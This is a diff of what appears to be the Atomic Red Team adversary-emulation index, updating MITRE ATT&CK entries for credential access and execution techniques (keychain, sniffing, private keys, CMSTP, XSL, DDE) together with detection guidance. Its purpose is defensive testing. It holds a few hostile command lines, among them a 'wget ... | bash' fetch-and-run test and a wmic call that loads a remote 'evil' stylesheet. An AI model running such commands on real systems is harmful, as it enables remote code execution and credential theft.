~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials. To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials. - - Detection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it. - - Platforms: macOS - - Data Sources: System calls, Process Monitoring - - Permissions Required: Administrator - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access external_references: - - url: https://attack.mitre.org/wiki/Technique/T1142 + - external_id: T1142 + url: https://attack.mitre.org/techniques/T1142 source_name: mitre-attack - external_id: T1142 - - description: Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017. + - url: https://en.wikipedia.org/wiki/Keychain_(software) + description: Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017. source_name: Wikipedia keychain - url: https://en.wikipedia.org/wiki/Keychain%20(software) - - description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to + - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way + description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. source_name: External to DA, the OS X Way - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - System calls - - Process Monitoring + - Process monitoring + x_mitre_detection: Unlocking the keychain and using passwords from it is a very + common process, so there is likely to be a lot of noise in any detection technique. + Monitoring of system calls to the keychain can help determine if there is + a suspicious process trying to access it. + x_mitre_platforms: + - macOS x_mitre_permissions_required: - Administrator - id: attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1142 atomic_tests: - name: Keychain @@ -12553,48 +12673,56 @@ credential-access: security import /tmp/certs.pem -k T1040: technique: + id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Network Sniffing description: |- - Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. - - User credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. - - Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. - - Platforms: Linux, macOS, Windows + Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. - Data Sources: Network device logs, Host network interface, Netflow/Enclave netflow + Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. - Permissions Required: Administrator, SYSTEM - - System Requirements: Network interface access and packet capture driver - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access + Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1040 + - external_id: T1040 + url: https://attack.mitre.org/techniques/T1040 source_name: mitre-attack - external_id: T1040 + - external_id: CAPEC-158 + url: https://capec.mitre.org/data/definitions/158.html + source_name: capec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:41.399Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Network device logs - Host network interface - Netflow/Enclave netflow + - Process monitoring + x_mitre_detection: Detecting the events leading up to sniffing network traffic + may be the best method of detection. From the host level, an adversary would + likely need to perform a man-in-the-middle attack against other devices on + a wired network in order to capture traffic that was not to or from the current + compromised system. This change in the flow of information is detectable at + the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. + Detecting compromised network devices is a bit more challenging. Auditing + administrator logins, configuration changes, and device images is required + to detect malicious changes. x_mitre_permissions_required: - Administrator - SYSTEM + x_mitre_platforms: + - Linux + - macOS + - Windows x_mitre_system_requirements: - Network interface access and packet capture driver - id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:41.399Z' identifier: T1040 atomic_tests: - name: Packet Capture Linux @@ -12665,61 +12793,57 @@ credential-access: c:\windump.exe T1145: technique: + id: attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Private Keys description: |- Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto) - Adversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on *nix-based systems or C:\Users\(username)\.ssh\ on Windows. + Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. - Private keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. + Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia) - - Detection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. - - Platforms: Linux, Windows, macOS - - Data Sources: File monitoring - - Permissions Required: User - - Contributors: Itzik Kotler, SafeBreach - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access external_references: - - url: https://attack.mitre.org/wiki/Technique/T1145 + - external_id: T1145 + url: https://attack.mitre.org/techniques/T1145 source_name: mitre-attack - external_id: T1145 - - description: Wikipedia. (2017, June 29). Public-key cryptography. Retrieved + - url: https://en.wikipedia.org/wiki/Public-key_cryptography + description: Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017. source_name: Wikipedia Public Key Crypto - url: https://en.wikipedia.org/wiki/Public-key%20cryptography - - description: Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The + - url: https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf + description: Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017. source_name: Kaspersky Careto - url: https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf - - description: Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia + - url: https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/ + description: Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia – Game Over. Retrieved July 5, 2017. source_name: Palo Alto Prince of Persia - url: https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - x_mitre_permissions_required: - - User x_mitre_contributors: - Itzik Kotler, SafeBreach - id: attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe - modified: '2018-04-18T17:59:24.739Z' + x_mitre_detection: Monitor access to files and directories related to cryptographic + keys and certificates as a means for potentially detecting access patterns + that may indicate collection and exfiltration activity. Collect authentication + logs and look for potentially abnormal activity that may indicate improper + use of keys or certificates for remote authentication. + x_mitre_permissions_required: + - User + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1145 atomic_tests: - name: Private Keys @@ -12791,6 +12915,8 @@ credential-access: execution: T1155: technique: + id: attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: AppleScript description: "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted @@ -12807,41 +12933,38 @@ execution: be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via osascript /path/to/script or osascript - -e \"script here\".\n\nDetection: Monitor for execution of AppleScript - through osascript that may be related to other suspicious behavior occurring - on the system.\n\nPlatforms: macOS\n\nData Sources: API monitoring, System - calls, Process Monitoring, Process command-line parameters\n\nPermissions - Required: User\n\nRemote Support: Yes" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: lateral-movement + -e \"script here\"." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1155 + - external_id: T1155 + url: https://attack.mitre.org/techniques/T1155 source_name: mitre-attack - external_id: T1155 - - description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. + - url: https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ + description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017. source_name: Macro Malware Targets Macs - url: https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - API monitoring - System calls - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: Monitor for execution of AppleScript through osascript that + may be related to other suspicious behavior occurring on the system. + x_mitre_platforms: + - macOS x_mitre_permissions_required: - User x_mitre_remote_support: true - id: attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: lateral-movement + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1155 atomic_tests: - name: AppleScript @@ -12861,76 +12984,77 @@ execution: ' T1191: technique: + id: attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: CMSTP description: |- The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. - Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. - - CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) - - Detection: Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. - - Platforms: Windows - - Data Sources: Process Monitoring, Process command-line parameters + Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. - Defense Bypassed: Application whitelisting, Anti-virus - - Permissions Required: User - - Remote Support: No - - Contributors: Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1191 + - external_id: T1191 + url: https://attack.mitre.org/techniques/T1191 source_name: mitre-attack - external_id: T1191 - - description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved + - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) + description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018. source_name: Microsoft Connection Manager Oct 2009 - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) - - description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe... + - url: https://twitter.com/ItsReallyNick/status/958789644165894146 + description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018. source_name: Twitter CMSTP Usage Jan 2018 - url: https://twitter.com/ItsReallyNick/status/958789644165894146 - - description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April + - url: https://msitpros.com/?p=3960 + description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018. source_name: MSitPros CMSTP Aug 2017 - url: https://msitpros.com/?p=3960 - - description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution + - url: https://twitter.com/NickTyrer/status/958450014111633408 + description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018. source_name: Twitter CMSTP Jan 2018 - url: https://twitter.com/NickTyrer/status/958450014111633408 - - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved + - url: https://github.com/api0cradle/UltimateAppLockerByPassList + description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018. source_name: GitHub Ultimate AppLocker Bypass List - url: https://github.com/api0cradle/UltimateAppLockerByPassList + - url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ + description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code + Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018. + source_name: Endurant CMSTP July 2018 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank + - Nik Seetharaman, Palantir x_mitre_data_sources: - - Process Monitoring + - Process monitoring - Process command-line parameters + - Process use of network + - Windows event logs x_mitre_defense_bypassed: - Application whitelisting - Anti-virus + x_mitre_detection: |- + Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. + + Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) + + * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. + * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F). x_mitre_permissions_required: - User x_mitre_remote_support: false - x_mitre_contributors: - - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern - id: attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3 + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1191 atomic_tests: - name: CMSTP Executing Remote Scriptlet @@ -12969,51 +13093,46 @@ execution: ' T1059: technique: + id: attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Command-Line Interface description: |- - Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task). + Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)). Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation. - - Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. - - Platforms: Linux, Windows, macOS - - Data Sources: Process command-line parameters, Process monitoring - - Permissions Required: Administrator, SYSTEM, User - - Remote Support: No - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution external_references: - - url: https://attack.mitre.org/wiki/Technique/T1059 + - external_id: T1059 + url: https://attack.mitre.org/techniques/T1059 source_name: mitre-attack - external_id: T1059 - - description: Wikipedia. (2016, June 26). Command-line interface. Retrieved + - url: https://en.wikipedia.org/wiki/Command-line_interface + description: Wikipedia. (2016, June 26). Command-line interface. Retrieved June 27, 2016. source_name: Wikipedia Command-Line Interface - url: https://en.wikipedia.org/wiki/Command-line%20interface object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:49.546Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_version: '1.0' + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + x_mitre_detection: Command-line interface activities can be captured through + proper logging of process execution with command-line arguments. This information + can be useful in gaining additional insight to adversaries' actions through + how they use native processes or custom tools. x_mitre_platforms: - Linux - - Windows - macOS - x_mitre_data_sources: - - Process command-line parameters - - Process monitoring + - Windows x_mitre_permissions_required: + - User - Administrator - SYSTEM - - User x_mitre_remote_support: false - id: attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:49.546Z' identifier: T1059 atomic_tests: - name: Command-Line Interface @@ -13033,46 +13152,91 @@ execution: bash -c "wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Atomics/T1059/echo-art-fish.sh | bash" '': technique: - name: User Execution + id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + name: XSL Script Processing description: |- - An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via Spearphishing Attachment with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via Spearphishing Link that leads to exploitation of a browser or application vulnerability via Exploitation for Client Execution. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. + Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) - Detection: Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads. + Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) - Anti-virus can potentially detect malicious documents and files that are downloaded and execuited on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting. + Command-line example: (Citation: Penetration Testing Lab MSXSL July 2017) - Platforms: Linux, Windows, macOS + * msxsl.exe customers[.]xml script[.]xsl - Data Sources: Anti-virus, Process command-line parameters, Process monitoring + Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: subTee WMIC XSL APR 2018) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution + Command-line examples: (Citation: subTee WMIC XSL APR 2018) + + * Local File: wmic process list /FORMAT:evil[.]xsl + * Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” external_references: - - url: https://attack.mitre.org/wiki/Technique/T1204 + - external_id: T1220 + url: https://attack.mitre.org/techniques/T1220 source_name: mitre-attack - external_id: T1204 + - url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script + description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting + Using . Retrieved July 3, 2018. + source_name: Microsoft XSLT Script Mar 2017 + - url: https://www.microsoft.com/download/details.aspx?id=21714 + description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). + Retrieved July 3, 2018. + source_name: Microsoft msxsl.exe + - url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/ + description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved + July 3, 2018. + source_name: Penetration Testing Lab MSXSL July 2017 + - url: https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html + description: Smith, C. (2018, April 17). WMIC.EXE Whitelisting Bypass - Hacking + with Style, Stylesheets. Retrieved July 3, 2018. + source_name: subTee WMIC XSL APR 2018 + - url: https://twitter.com/dez_/status/986614411711442944 + description: Desimone, J. (2018, April 18). Status Update. Retrieved July + 3, 2018. + source_name: Twitter SquiblyTwo Detection APR 2018 + - url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/ + description: Admin. (2018, March 2). Spear-phishing campaign leveraging on + MSXSL. Retrieved July 3, 2018. + source_name: Reaqta MSXSL Spearphishing MAR 2018 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS + x_mitre_version: '1.0' + x_mitre_contributors: + - Casey Smith + - Praetorian x_mitre_data_sources: - - Anti-virus - - Process command-line parameters - Process monitoring + - Process command-line parameters + - Process use of network + - DLL monitoring + x_mitre_defense_bypassed: + - Anti-virus + - Application whitelisting + - Digital Certificate Validation + x_mitre_detection: |- + Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: subTee WMIC XSL APR 2018) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. + + The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. x_mitre_permissions_required: - User - modified: '2018-04-18T17:59:24.739Z' + x_mitre_remote_support: false + x_mitre_platforms: + - Windows + x_mitre_system_requirements: + - Microsoft Core XML Services (MSXML) or access to wmic.exe type: attack-pattern - id: attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5 + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-10-17T00:14:20.652Z' atomic_tests: [] T1173: technique: + id: attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Dynamic Data Exchange description: |- Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. @@ -13080,78 +13244,69 @@ execution: Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution. - - Detection: OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017) - - Monitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application. - - Monitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications. - - Platforms: Windows - - Data Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs - - Permissions Required: User - - Remote Support: No - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution external_references: - - url: https://attack.mitre.org/wiki/Technique/T1173 + - external_id: T1173 + url: https://attack.mitre.org/techniques/T1173 source_name: mitre-attack - external_id: T1173 - - description: Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature - in Word to 